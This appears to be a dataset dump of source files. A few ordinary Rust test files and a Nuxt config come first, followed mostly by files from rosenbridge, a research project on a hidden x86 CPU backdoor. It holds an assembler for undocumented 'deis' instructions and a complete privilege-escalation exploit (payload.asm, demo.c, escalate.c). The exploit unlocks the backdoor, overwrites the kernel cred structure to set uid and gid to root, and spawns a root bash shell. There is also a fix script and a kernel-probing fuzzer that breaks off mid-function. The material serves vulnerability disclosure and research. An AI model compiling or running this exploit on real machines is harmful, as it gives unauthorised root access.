file_path stringlengths 3 280 | file_language stringclasses 66 values | content stringlengths 1 1.04M | repo_name stringlengths 5 92 | repo_stars int64 0 154k | repo_description stringlengths 0 402 | repo_primary_language stringclasses 108 values | developer_username stringlengths 1 25 | developer_name stringlengths 0 30 | developer_company stringlengths 0 82 |
|---|---|---|---|---|---|---|---|---|---|
serde-implicit/tests/ui/duplicate_tags.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum MultiTagFields {
DoubleTagged {
#[serde_implicit(tag)]
primary_tag: String,
#[serde_implicit(tag)]
secondary_tag: bool,
value: u32,
},
SingleTagged {
#[serde_implicit(tag)]
only_tag: u32,
value: String,
},
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/flatten_multiple_fields.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadFlatten {
Normal(bool),
MultiField(u64, #[serde_implicit(flatten)] Helper),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/flatten_not_at_end.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadOrder {
Flatten(#[serde_implicit(flatten)] Helper),
Normal(bool),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/missing_tags.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum OopsTag {
MissingTag {
field1: String,
field2: bool,
value: u32,
},
SingleTagged {
#[serde_implicit(tag)]
only_tag: u32,
value: String,
},
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/repeated_tag.rs | Rust | #[derive(serde_implicit_proc::Deserialize)]
enum RepeatedTag {
Var1 {
#[serde_implicit(tag)]
primary_tag: String,
value: u32,
},
Var2 {
#[serde_implicit(tag)]
primary_tag: String,
value: String,
},
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
serde-implicit/tests/ui/tag_and_flatten.rs | Rust | #[derive(serde::Deserialize)]
struct Helper(String, bool);
#[derive(serde_implicit_proc::Deserialize)]
enum BadAnnotation {
Normal(bool),
Conflicting(#[serde_implicit(tag, flatten)] Helper),
}
fn main() {}
| xldenis/serde-implicit | 2 | implicitly tagged enum representation for serde | Rust | xldenis | Xavier Denis | turbopuffer |
app.vue | Vue | <template>
<div>
<NuxtWelcome />
</div>
</template>
| xmatthias/nuxt_supabase_deploy_test | 0 | TypeScript | xmatthias | Matthias | ||
nuxt.config.ts | TypeScript | // https://nuxt.com/docs/api/configuration/nuxt-config
export default defineNuxtConfig({
devtools: { enabled: true },
modules: ['@nuxtjs/supabase']
})
| xmatthias/nuxt_supabase_deploy_test | 0 | TypeScript | xmatthias | Matthias | ||
asm/deis_asm.py | Python | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# the deis assembler #
# a minimal subset of the deis instructions have been analyzed to reveal the
# bitfields necessary to create a working privilege escalation payload. work on
# analyzing the deis instruction set is far from complete, but this assembler
# provides enough functionality to flexibly write kernel manipulation payloads.
# the datasets for analyzing deis instructions are found in the rosenbridge_data
# repository.
# deis instructions:
# lgd: load base address of gdt into register
# mov: copy register contents
# izx: load 2 byte immediate, zero extended
# isx: load 2 byte immediate, sign extended
# ra4: shift eax right by 4
# la4: shift eax left by 4
# ra8: shift eax right by 8
# la8: shift eax left by 8
# and: bitwise and of two registers, into eax
# or: bitwise or of two registers, into eax
# ada: add register to eax
# sba: sub register from eax
# ld4: load 4 bytes from kernel memory
# st4: store 4 bytes into kernel memory
# ad4: increment a register by 4
# ad2: increment a register by 2
# ad1: increment a register by 1
# zl3: zero low 3 bytes of register
# zl2: zero low 2 bytes of register
# zl1: zero low byte of register
# cmb: shift lo word of source into lo word of destination
# bit key:
# V probable opcode
# ? unknown purpose
# x possible don't-care
# v probable operand
import ctypes
from ctypes import c_uint32
import sys
reg_bits = {
"eax": 0b0000,
"ebx": 0b0011,
"ecx": 0b0001,
"edx": 0b0010,
"esi": 0b0110,
"edi": 0b0111,
"ebp": 0b0101,
"esp": 0b0100,
}
class deis_bits(ctypes.LittleEndianStructure):
pass
class deis_insn(ctypes.Union):
TEMPLATE = 0
_fields_ = [("bits", deis_bits), ("insn", c_uint32)]
def __str__(self):
return "%08x" % self.insn
# mov #
# VVVV VVVV ???? vvvv ?vvv vxxx xxxx xxxx
# ac169f51 [ 1010 1100 0001 0110 1001 1111 0101 0001 ]: esi -> ebx
class deis_mov_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("dst", c_uint32, 4),
("field_2", c_uint32, 1),
("src", c_uint32, 4),
("field_3", c_uint32, 12),
]
class deis_mov(deis_insn):
TEMPLATE = 0xac169f51
_fields_ = [("bits", deis_mov_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
self.bits.dst = reg_bits[dst]
# lgd #
# VVVV VVVV ???? vvvv ???? ???? xxxx xxxx
# a313075b [ 1010 0011 0001 0011 0000 0111 0101 1011 ]
class deis_lgd_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 16),
("dst", c_uint32, 4),
("field_2", c_uint32, 12),
]
class deis_lgd(deis_insn):
TEMPLATE = 0xa313075b
_fields_ = [("bits", deis_lgd_bits), ("insn", c_uint32)]
def __init__(self, dst):
self.insn = self.TEMPLATE
self.bits.dst = reg_bits[dst]
# izx #
# VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv
# 2412baf2 [ 0010 0100 0001 0010 1011 1010 1111 0010 ]: edx: 0841fec3 -> 0000baf2
class deis_izx_bits(deis_bits):
_fields_ = [
("src", c_uint32, 16),
("dst", c_uint32, 4),
("field_1", c_uint32, 12),
]
class deis_izx(deis_insn):
TEMPLATE = 0x2412baf2
_fields_ = [("bits", deis_izx_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
if type(src) is str:
src = int(src, 16)
self.bits.src = src
self.bits.dst = reg_bits[dst]
# isx #
# VVVV VVVV ???? vvvv vvvv vvvv vvvv vvvv
# 24b43402 [ 0010 0100 1011 0100 0011 0100 0000 0010 ]: esp: 5643a332 -> ffff3402
class deis_isx_bits(deis_bits):
_fields_ = [
("src", c_uint32, 16),
("dst", c_uint32, 4),
("field_1", c_uint32, 12),
]
class deis_isx(deis_insn):
TEMPLATE = 0x24b43402
_fields_ = [("bits", deis_isx_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
if type(src) is str:
src = int(src, 16)
self.bits.src = src
self.bits.dst = reg_bits[dst]
# la4 #
# VVVV ???? ???? ???? ???? ???? ???? ????
# 840badc7 [ 1000 0100 0000 1011 1010 1101 1100 0111 ]: eax: 0804c555 -> 804c5550
class deis_la4_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 32),
]
class deis_la4(deis_insn):
TEMPLATE = 0x840badc7
_fields_ = [("bits", deis_la4_bits), ("insn", c_uint32)]
def __init__(self):
self.insn = self.TEMPLATE
# ra4 #
# VVVV ???? ???? ???? ???? ???? ???? ????
# 813c65c3 [ 1000 0001 0011 1100 0110 0101 1100 0011 ]: eax: 0804c555 -> 00804c55
class deis_ra4_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 32),
]
class deis_ra4(deis_insn):
TEMPLATE = 0x813c65c3
_fields_ = [("bits", deis_ra4_bits), ("insn", c_uint32)]
def __init__(self):
self.insn = self.TEMPLATE
# la8 #
# VVVV ???? ???? ???? ???? ???? ???? ????
# 844475e0 [ 1000 0100 0100 0100 0111 0101 1110 0000 ]: eax: 0804c555 -> 04c55500
class deis_la8_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 32),
]
class deis_la8(deis_insn):
TEMPLATE = 0x844475e0
_fields_ = [("bits", deis_la8_bits), ("insn", c_uint32)]
def __init__(self):
self.insn = self.TEMPLATE
# ra8 #
# VVVV ???? ???? ???? ???? ???? ???? ????
# 84245de2 [ 1000 0100 0010 0100 0101 1101 1110 0010 ]: eax: 0804c555 -> 000804c5
class deis_ra8_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 32),
]
class deis_ra8(deis_insn):
TEMPLATE = 0x84245de2
_fields_ = [("bits", deis_ra8_bits), ("insn", c_uint32)]
def __init__(self):
self.insn = self.TEMPLATE
# and #
# VVVV VVVv vvv? vvvv ???? ???? ???? VVVV
# 82748114 [ 1000 0010 0111 0100 1000 0001 0001 0100 ]: ebx: 3fc499bc ... esp: f44ed78e -> eax: 3444918c
class deis_and_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 16),
("src1", c_uint32, 4),
("field_2", c_uint32, 1),
("src2", c_uint32, 4),
("field_3", c_uint32, 7),
]
class deis_and(deis_insn):
TEMPLATE = 0x82748114
_fields_ = [("bits", deis_and_bits), ("insn", c_uint32)]
def __init__(self, src1, src2):
self.insn = self.TEMPLATE
self.bits.src1 = reg_bits[src1]
self.bits.src2 = reg_bits[src2]
# or #
# VVVV VVVv vvv? vvvv ???? ???? ???? VVVV
# 8213e5d5 [ 1000 0010 0001 0011 1110 0101 1101 0101 ]: eax: 0804c389 ... ebx: dfd52762 -> eax: dfd5e7eb
class deis_or_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 16),
("src1", c_uint32, 4),
("field_2", c_uint32, 1),
("src2", c_uint32, 4),
("field_3", c_uint32, 7),
]
class deis_or(deis_insn):
TEMPLATE = 0x8213e5d5
_fields_ = [("bits", deis_or_bits), ("insn", c_uint32)]
def __init__(self, src1, src2):
self.insn = self.TEMPLATE
self.bits.src1 = reg_bits[src1]
self.bits.src2 = reg_bits[src2]
# ada #
# VVVV VVVV ???? vvvv ???? ???? xxxx ????
# 80d2c5d0 [ 1000 0000 1101 0010 1100 0101 1101 0000 ]: edx: 30300a77 ... eax: 0804c2e9 -> eax: 3834cd60
class deis_ada_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 16),
("src", c_uint32, 4),
("field_2", c_uint32, 12),
]
class deis_ada(deis_insn):
TEMPLATE = 0x80d2c5d0
_fields_ = [("bits", deis_ada_bits), ("insn", c_uint32)]
def __init__(self, src):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
# sub #
# VVVV VVVV xxxx vvvv xxxx xxxx ???? ????
# 8012e5f2 [ 1000 0000 0001 0010 1110 0101 1111 0010 ]: eax: 0804c2e9 ... edx: 262e3d2e -> eax: e1d685bb
class deis_sba_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 16),
("src", c_uint32, 4),
("field_2", c_uint32, 12),
]
class deis_sba(deis_insn):
TEMPLATE = 0x8012e5f2
_fields_ = [("bits", deis_sba_bits), ("insn", c_uint32)]
def __init__(self, src):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
# zl3 #
# VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
# c5e9a0d7 [ 1100 0101 1110 1001 1010 0000 1101 0111 ]: zl3 esp
# c5caa8de [ 1100 0101 1100 1010 1010 1000 1101 1110 ]: zl3 ebp
# c5ca88de [ 1100 0101 1100 1010 1000 1000 1101 1110 ]: zl3 ecx
# c451b0c6 [ 1100 0100 0101 0001 1011 0000 1100 0110 ]: zl3 esi
# c45190c6 [ 1100 0100 0101 0001 1001 0000 1100 0110 ]: zl3 edx
class deis_zl3_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("reg", c_uint32, 4),
("field_2", c_uint32, 17),
]
class deis_zl3(deis_insn):
TEMPLATE = 0xc5e9a0d7
_fields_ = [("bits", deis_zl3_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# zl2 #
# VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
# c64ea11c [ 1100 0110 0100 1110 1010 0001 0001 1100 ]: zl2 esp
class deis_zl2_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("reg", c_uint32, 4),
("field_2", c_uint32, 17),
]
class deis_zl2(deis_insn):
TEMPLATE = 0xc64ea11c
_fields_ = [("bits", deis_zl2_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# zl1 #
# VVVV VVV? xxxx xxxx ?vvv v??? ???? ????
# 8676ba54 [ 1000 0110 0111 0110 1011 1010 0101 0100 ]: zl1 edi
# 86769a5c [ 1000 0110 0111 0110 1001 1010 0101 1100 ]: zl1 ebx
class deis_zl1_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("reg", c_uint32, 4),
("field_2", c_uint32, 17),
]
class deis_zl1(deis_insn):
TEMPLATE = 0x8676ba54
_fields_ = [("bits", deis_zl1_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# ld4 #
# off src dst len?
# VVVV VVVV vvv? vvvv ?vvv v??? vv?? ????
# c8138c89 [ 1100 1000 0001 0011 1000 1100 1000 1001 ]: ecx: 00000000 -> 44332211
class deis_ld4_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("dst", c_uint32, 4),
("field_2", c_uint32, 1),
("src", c_uint32, 4),
("field_3", c_uint32, 1),
("off", c_uint32, 3),
("field_4", c_uint32, 8),
]
class deis_ld4(deis_insn):
TEMPLATE = 0xc8138c89
_fields_ = [("bits", deis_ld4_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
self.bits.dst = reg_bits[dst]
# st4 #
# off dst src len?
# VVVV VVVV vvv? vvvv ?vvv v??? vv?? ????
# e0138dfd [ 1110 0000 0001 0011 1000 1101 1111 1101 ]: 11223344 -> b642f0c7
# e2539dfd [ 1110 0010 0101 0011 1001 1101 1111 1101 ]: 11223344 -> b542f0c7
class deis_st4_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("src", c_uint32, 4),
("field_2", c_uint32, 1),
("dst", c_uint32, 4),
("field_3", c_uint32, 1),
("off", c_uint32, 3),
("field_4", c_uint32, 8),
]
class deis_st4(deis_insn):
TEMPLATE = 0xe0138dfd
_fields_ = [("bits", deis_st4_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
self.bits.dst = reg_bits[dst]
# ad4 #
# reg val
# VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
# 0a3b118a [ 0000 1010 0011 1011 0001 0001 1000 1010 ]: ecx: 0841fec2 -> 0841fec6
class deis_ad4_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 21),
("reg", c_uint32, 4),
("field_2", c_uint32, 7),
]
class deis_ad4(deis_insn):
TEMPLATE = 0x0a3b118a
_fields_ = [("bits", deis_ad4_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# ad2 #
# reg val
# VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
# 0a3af97f [ 0000 1010 0011 1010 1111 1001 0111 1111 ]: ecx: 0841fec2 -> 0841fec4
class deis_ad2_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 21),
("reg", c_uint32, 4),
("field_2", c_uint32, 7),
]
class deis_ad2(deis_insn):
TEMPLATE = 0x0a3af97f
_fields_ = [("bits", deis_ad2_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# ad1 #
# reg val
# VVVV VVVv vvv? ??vv xxxx xxxx xxxx xxxx
# 0a29a7a0 [ 0000 1010 0010 1001 1010 0111 1010 0000 ]: ecx: a212dce8 -> a212dce9
class deis_ad1_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 21),
("reg", c_uint32, 4),
("field_2", c_uint32, 7),
]
class deis_ad1(deis_insn):
TEMPLATE = 0x0a29a7a0
_fields_ = [("bits", deis_ad1_bits), ("insn", c_uint32)]
def __init__(self, reg):
self.insn = self.TEMPLATE
self.bits.reg = reg_bits[reg]
# cmb #
# VVVV VVVV ???? vvvv ?vvv v??? ???? ????
# a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ]
# a2528c33 [ 1010 0010 0101 0010 1000 1100 0011 0011 ]: edx: 1b6a2620, ecx: 7b0c160d -> 2620160d
# a252ac33 [ 1010 0010 0101 0010 1010 1100 0011 0011 ]: edx: 8c69f5e2, ebp: f9291fe1 -> f5e21fe1
class deis_cmb_bits(deis_bits):
_fields_ = [
("field_1", c_uint32, 11),
("dst", c_uint32, 4),
("field_2", c_uint32, 1),
("src", c_uint32, 4),
("field_3", c_uint32, 12),
]
class deis_cmb(deis_insn):
TEMPLATE = 0xa2528c33
_fields_ = [("bits", deis_cmb_bits), ("insn", c_uint32)]
def __init__(self, src, dst):
self.insn = self.TEMPLATE
self.bits.src = reg_bits[src]
self.bits.dst = reg_bits[dst]
if __name__ == "__main__":
if "--test" in sys.argv:
print deis_mov("eax", "ebx")
print deis_mov("ebx", "edx")
print deis_lgd("esi")
print deis_izx(0x1122, "edi")
print deis_isx(0x1122, "esp")
print deis_ra4()
print deis_la4()
print deis_ra8()
print deis_la8()
print deis_and("edx", "ecx")
print deis_or("esi", "edi")
print deis_ada("edx")
print deis_sba("ecx")
print deis_ld4("eax", "eax")
print deis_ad4("edx")
print deis_zl3("esi")
print deis_zl2("esi")
print deis_zl1("esi")
print deis_cmb("esi", "edi")
else:
with open(sys.argv[1], "r") as f:
lines = f.readlines()
print "/* automatically generated with deis_asm.py */"
print "/* you are strongly encouraged to not modify this file directly */"
for l in lines:
l = l.split("#", 1)[0].strip()
if l:
s = l.split(" ", 1)
op = s[0]
if len(s) > 1:
args = s[1].split(",")
else:
args = []
op = op.strip()
args = [a.strip() for a in args]
# probably don't use this on untrusted source :)
asm = getattr(sys.modules[__name__], "deis_%s" % op)(*args)
print "__asm__ (\"bound %%eax,0x%08x(,%%eax,1)\");" % asm.insn
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/demo.c | C | #include <stdlib.h>
int main(void)
{
/* unlock the backdoor */
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
/* modify kernel memory */
__asm__ ("payload:");
__asm__ ("bound %eax,0xa310075b(,%eax,1)");
__asm__ ("bound %eax,0x24120078(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109489(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109c89(,%eax,1)");
__asm__ ("bound %eax,0xc5e998d7(,%eax,1)");
__asm__ ("bound %eax,0xac128751(,%eax,1)");
__asm__ ("bound %eax,0x844475e0(,%eax,1)");
__asm__ ("bound %eax,0x84245de2(,%eax,1)");
__asm__ ("bound %eax,0x8213e5d5(,%eax,1)");
__asm__ ("bound %eax,0x24115f20(,%eax,1)");
__asm__ ("bound %eax,0x2412c133(,%eax,1)");
__asm__ ("bound %eax,0xa2519433(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120208(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120000(,%eax,1)");
__asm__ ("bound %eax,0x24110004(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
/* launch a shell */
system("/bin/bash");
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/escalate.c | C | #include <stdio.h>
#include <stdlib.h>
int main(void)
{
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
__asm__ ("payload:");
#include "bin/payload.h"
system("/bin/bash");
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
esc/payload.asm | Assembly | #
# project:rosenbridge
# domas // @xoreaxeaxeax
#
# a proof-of-concept hardware privilege escalation payload.
# uses the deis-backdoor to reach into kernel memory and give the current
# process root permissions.
# written in deis-asm.
# assemble with:
# python ../asm/deis_asm.py payload.asm > payload.h
# to assemble and build the payload into a functioning executable, run make.
# this payload was written as a proof-of-concept against debian 6.0.10 (i386) -
# the constants used would need to be updated to support other kernels.
# gdt_base = get_gdt_base();
lgd eax
# descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG);
izx 0x78, edx
ada edx
# fs_base=((descriptor&0xff00000000000000ULL)>>32)|
# ((descriptor&0x000000ff00000000ULL)>>16)|
# ((descriptor&0x00000000ffff0000ULL)>>16);
ad2 eax
ld4 eax, edx
ad2 eax
ld4 eax, ebx
zl3 ebx
mov edx, eax
la8
ra8
or ebx, eax
# task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT);
izx 0x5f20, ecx
izx 0xc133, edx
cmb ecx, edx
ada edx
ld4 eax, eax
# cred = *(uint32_t*)(task_struct+OFFSET_CRED);
izx 0x208, edx
ada edx
ld4 eax, eax
# root = 0
izx 0, edx
# *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root;
izx 0x4, ecx
ada ecx
st4 edx, eax
# *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root;
ada ecx
st4 edx, eax
# *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root;
ada ecx
ada ecx
st4 edx, eax
# *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root;
ada ecx
st4 edx, eax
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fix/lock_deis.sh | Shell | #!/bin/sh
modprobe msr
/usr/bin/lock_deis
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
fuzz/deis/fuzz_deis.c | C | /* this program fuzzes deis instructions given a known wrapper */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <execinfo.h>
#include <limits.h>
#include <ucontext.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdbool.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <assert.h>
#include <sched.h>
#include <pthread.h>
#include <sys/wait.h>
#define SIMULATE 0
#define TRACK_RING_0 1
//TODO: these are hacky (sorry)
#define USE_SEARCH_KERNEL 1
#define TARGET_KERNEL 1
#if TRACK_RING_0
#include "../../kern/privregs/privregs.h"
#define CR0_IGNORE_BITS 0x00000008
#endif
#if USE_SEARCH_KERNEL
#include "../../kern/deis_kernel.h"
#endif
typedef enum {
INSTRUCTION_MODE_RANDOM,
INSTRUCTION_MODE_SEED
} instruction_mode_t;
//instruction_mode_t MODE=INSTRUCTION_MODE_RANDOM;
instruction_mode_t MODE=INSTRUCTION_MODE_SEED;
#define MAX_SEED_INS 1000000
#include "seed_ins.h" /* selected from pattern extractor */
uint32_t seed_ins[MAX_SEED_INS];
int generated_seeded_ins;
#define SEEDS_PER_INSN 64
#define SEED_BITS 32
#define SEED_MASK 0x0fffffff /* don't flip masked bits */
#define LINE_BREAK "------------------------------------------------\n"
#define BUFFER_BYTES 32 /* must be > the number of fields in state_t + 7 */
#define BE(x) ((((x)>>24)&0x000000ff)|(((x)>>8)&0x0000ff00)|(((x)<<8)&0x00ff0000)|(((x)<<24)&0xff000000))
#define KEY_MARKER ". " /* prefix on lines that the log parser should keep */
#define RUN_TIMEOUT 1000000 /* useconds */
#define RESULT_TIMEOUT 50 /* runs */
/* delaying between each test gives time for the kernel logs to sync; fuzzing
* bottleneck is in the reboots, not in this program, we can sleep as long as we
* want with virtually no impact on throughput */
#define FUZZ_DELAY 500000 /* useconds, < RUN_TIMEOUT */
typedef struct instruction_t {
unsigned char prefix[3];
unsigned int deis;
} __attribute__ ((__packed__)) instruction_t;
typedef struct {
uint32_t eax;
uint32_t ebx;
uint32_t ecx;
uint32_t edx;
uint32_t esi;
uint32_t edi;
uint32_t ebp;
uint32_t esp;
union {
uint64_t mm0;
struct {
uint32_t mm0l;
uint32_t mm0h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm1;
struct {
uint32_t mm1l;
uint32_t mm1h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm2;
struct {
uint32_t mm2l;
uint32_t mm2h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm3;
struct {
uint32_t mm3l;
uint32_t mm3h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm4;
struct {
uint32_t mm4l;
uint32_t mm4h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm5;
struct {
uint32_t mm5l;
uint32_t mm5h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm6;
struct {
uint32_t mm6l;
uint32_t mm6h;
} __attribute__ ((__packed__));
};
union {
uint64_t mm7;
struct {
uint32_t mm7l;
uint32_t mm7h;
} __attribute__ ((__packed__));
};
uint32_t eflags;
#if TRACK_RING_0
uint32_t cr0;
uint32_t cr2;
uint32_t cr3;
uint32_t cr4;
uint32_t dr0;
uint32_t dr1;
uint32_t dr2;
uint32_t dr3;
uint32_t dr4;
uint32_t dr5;
uint32_t dr6;
uint32_t dr7;
#endif
} state_t;
typedef struct {
uint8_t data[BUFFER_BYTES];
} mem_t;
typedef enum {
MEMORY_NOCHANGE,
MEMORY_RANDOM,
MEMORY_PATTERN,
MEMORY_KERNEL,
} mem_init_t;
typedef enum {
STATE_NOCHANGE,
STATE_RANDOM,
STATE_MEMORY,
STATE_PATTERN,
STATE_KERNEL,
} state_init_t;
typedef enum {
#if USE_SEARCH_KERNEL
SEARCH_KERNEL,
#endif
#if TARGET_KERNEL
SEARCH_END,
#endif
SEARCH_MEMORY,
SEARCH_STATE,
#if !TARGET_KERNEL
SEARCH_END,
#endif
} search_t;
typedef enum {
RUN_0,
#if TARGET_KERNEL
RUN_END,
#endif
RUN_1,
RUN_2,
RUN_3,
#if !TARGET_KERNEL
RUN_END,
#endif
} run_t;
/* some issues with asm constraints if these are local */
state_t input_state, working_state, output_state;
mem_t input_mem, output_mem;
uint64_t* run_tick; /* shared */
uint64_t* result_tick; /* shared */
int main(void);
unsigned long long llrand(void);
void initialize_state(state_t*, state_init_t, mem_t*, mem_init_t);
bool states_equal(state_t*, state_t*);
bool memory_equal(mem_t*, mem_t*);
void print_instruction(instruction_t*);
void fuzz(void);
void inject(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
void initialize_state(
state_t* state,
state_init_t state_init,
mem_t* mem,
mem_init_t mem_init
)
{
int i;
#if USE_SEARCH_KERNEL
uintptr_t kernel_buffer;
int handle;
#endif
switch (state_init) {
case STATE_NOCHANGE:
break;
case STATE_RANDOM:
state->eax=llrand();
state->ebx=llrand();
state->ecx=llrand();
state->edx=llrand();
state->esi=llrand();
state->edi=llrand();
state->ebp=llrand();
state->esp=llrand();
state->mm0=llrand();
state->mm1=llrand();
state->mm2=llrand();
state->mm3=llrand();
state->mm4=llrand();
state->mm5=llrand();
state->mm6=llrand();
state->mm7=llrand();
break;
case STATE_MEMORY:
state->eax=(uintptr_t)&mem->data[0];
state->ebx=(uintptr_t)&mem->data[1];
state->ecx=(uintptr_t)&mem->data[2];
state->edx=(uintptr_t)&mem->data[3];
state->esi=(uintptr_t)&mem->data[4];
state->edi=(uintptr_t)&mem->data[5];
state->ebp=(uintptr_t)&mem->data[6];
state->esp=(uintptr_t)&mem->data[7];
state->mm0=(uintptr_t)&mem->data[8];
state->mm1=(uintptr_t)&mem->data[9];
state->mm2=(uintptr_t)&mem->data[10];
state->mm3=(uintptr_t)&mem->data[11];
state->mm4=(uintptr_t)&mem->data[12];
state->mm5=(uintptr_t)&mem->data[13];
state->mm6=(uintptr_t)&mem->data[14];
state->mm7=(uintptr_t)&mem->data[15];
break;
#if USE_SEARCH_KERNEL
case STATE_KERNEL:
handle=open("/dev/deis_kernel", O_RDWR);
ioctl(handle, GET_BUFFER_ADDRESS, &kernel_buffer);
//TODO: temp - initialize to 0
/*
state->eax=kernel_buffer+0;
state->ebx=kernel_buffer+1;
state->ecx=kernel_buffer+2;
state->edx=kernel_buffer+3;
state->esi=kernel_buffer+4;
state->edi=kernel_buffer+5;
state->ebp=kernel_buffer+6;
state->esp=kernel_buffer+7;
state->mm0=kernel_buffer+8;
state->mm1=kernel_buffer+9;
state->mm2=kernel_buffer+10;
state->mm3=kernel_buffer+11;
state->mm4=kernel_buffer+12;
state->mm5=kernel_buffer+13;
state->mm6=kernel_buffer+14;
state->mm7=kernel_buffer+15;
*/
